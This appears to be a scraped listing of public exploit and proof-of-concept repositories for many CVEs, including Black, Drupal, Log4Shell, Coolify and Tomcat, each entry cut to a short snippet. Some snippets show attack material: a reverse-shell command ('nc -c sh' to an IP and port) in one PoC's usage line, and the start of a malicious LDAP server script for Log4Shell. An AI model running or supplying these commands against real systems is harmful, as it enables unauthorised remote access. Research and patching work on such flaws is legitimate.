cve-2026-31900-lab

CVE-2026-31900 — Vulnerable Lab psf/black GitHub Action RCE via Insecure Regex Validation Field| Detail ---|--- CVE| CVE-2026-31900 CVSS| 8.7 High Advisory| GHSA-v53h-f6m7-xcgm Affected| psf/black GitHub Action v26.3.0 Type| RCE via Supply Chain pullrequest trigger Vulnerability The usepyproject:...

CVE-2020-13671

CVE-2020-13671 RCE via File Upload — Drupal Core Software: Drupal Core 8.7.5 Affected: 7.x 7.78, 8.x 8.8.11, 8.9.x 8.9.9, 9.0.x 9.0.8 CVSS: 8.8 High CWE: CWE-434 — Unrestricted Upload of File with Dangerous Type CISA KEV: Yes — Known Exploited Vulnerability Advisory: SA-CORE-2020-012 What is Drup...

CVE-2023-33733

CVE-2023-33733 on Reportlab v3.6.12 This lab was set up to test CVE-2023-33733. Analyzing process You can see our analyzing process about this CVE in PDF file on main repo. Setup and Run Server Setup pip3 install -r requirements.txt Run python3 app.py Attacker Connect to server Connect to server ...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC for CVE-2023-30258-RCE by n0o0b Usage usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD Command to...

RCE-Exploit-Framework

RCE-Exploit-Framework This framework is designed to assist penetration testers or developers in understanding the mechanics of remote code execution RCE exploitation. Features Payload Generator : Supports the creation of custom payloads based on Python, Bash, and PHP. Exploit Executor : Delivers...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- Penetration testing 1. Create malicious LDAP Server using Marshalsec !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ Khở...

CVE-2026-34038

CVE-2026-34038: Authenticated Remote Command Injection in Coolify This repository contains documentation and analysis for CVE-2026-34038 , a critical command injection vulnerability in Coolify. Summary An authenticated remote command injection vulnerability CWE-78 in Coolify allows users with...

CVE-2024-32002-git-rce

CVE-2024-32002-git-rce...

CVE-2019-11395

CVE-2019-11395 Overview This Proof of Concept PoC demonstrates a Buffer Overflow vulnerability in MailCarrier 2.51, allowing remote attackers to execute arbitrary code via a long string. The vulnerability can be exploited using the following processes: SMTP RCPT TO POP3 USER POP3 LIST POP3 TOP PO...

CVE-2013-4710-WebView-RCE-Vulnerability

CVE-2013-4710-WebView-RCE-Vulnerability Vulnerability Description A lot of the time we use WebView to display a Webpage,for example many applications in order to achieve the server control, many results page is Webpage, rather than the local implementation, which has many advantages, such as...

Exploit for Improperly Controlled Sequential Memory Allocation in Php

PHP2Shell CVE-2026-109618 & CVE-2026-109619 — Pre-Auth RCE...

CVE-2026-39387

CVE-2026-39387 — BoidCMS Authenticated File Upload to RCE via Template Injection Description BoidCMS -l -p Arguments Flag| Description| Example ---|---|--- -u, --url| Base URL of the target BoidCMS site| http://target.com -l, --user| Admin username| admin -p, --passwd| Admin password| password123...

Advisory ROSA-SA-2026-3320

Software: Apache HTTPD OS: ROSA-CHROME Affected versions: = apache-2.4.69-3 Unaffected versions: apache-2.4.69-3 CVE IDs: CVE-2026-63292, CVE-2026-56154, CVE-2026-56153, CVE-2026-57941, CVE-2026-59685, CVE-2026-93546 BDU ID: None CVE-Crit: HIGH CVE-DESC.: Vulnerabilities enabling root access to t...

CVE-2021-41773m

CVE-2021-41773 🐛 Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813 affects Apache Tomcat - if it's a vulnerable version and spectacularly misconfigured, an attacker can get RCE with one GET and one POST. More info here This is Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng's script from the recent writeup modified to accept...

CVE-2026-25939-SCADA-FUXA-Unauthenticated-Remote-Arbitrary

👤 Author Mohammed Idrees Banyamer Security Researcher 📌 Overview This repository contains a Proof-of-Concept PoC exploit for CVE-2026-25939 , a critical authorization bypass vulnerability in FUXA open-source SCADA/ICS software. The vulnerability allows unauthenticated remote attackers to create,...

CVE-2022-29464

WSO2 RCE CVE-2022-29464 exploit and writeup. Details CVE-2022-29464 is a serious flaw in WSO2. The flaw is an unauthorised, unconstrained arbitrary file upload that enables unauthorised users to upload malicious JSP files to WSO2 servers and get Remote Code Execution RCE. the vulerable upload rou...

CVE-2016-5734-docker

CVE-2016-5734-docker PhpMyAdmin 4.0.x—4.6.2 Remote Code Execution Vulnerability CVE-2016-5734 Setup git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 exploit python3 cve-2016-5734.py -u root --pwd="root"...

patch-CVE-2026-28001

Patch: CVE-2026-28001 Vulnerability Details CVE : CVE-2026-28001 Product : Splunk Enterprise Description : Remote code execution in SPL parsing Severity : Critical Patch Status: DEPLOYED Field| Value ---|--- Patch Date| 2026-07-22 Status| deployed Deployed To| Production Validated By| SecOps Team...

CVE-2026-88900

CVE-2026-88900 — camel-jgroups: unsafe Java deserialization of cluster messages Runnable proof-of-concept reproducer for the Apache Camel vulnerability where the jgroups consumer Java-deserialized cluster messages with no filter. JGroupsEndpoint.createExchangeMessage — called for every message th...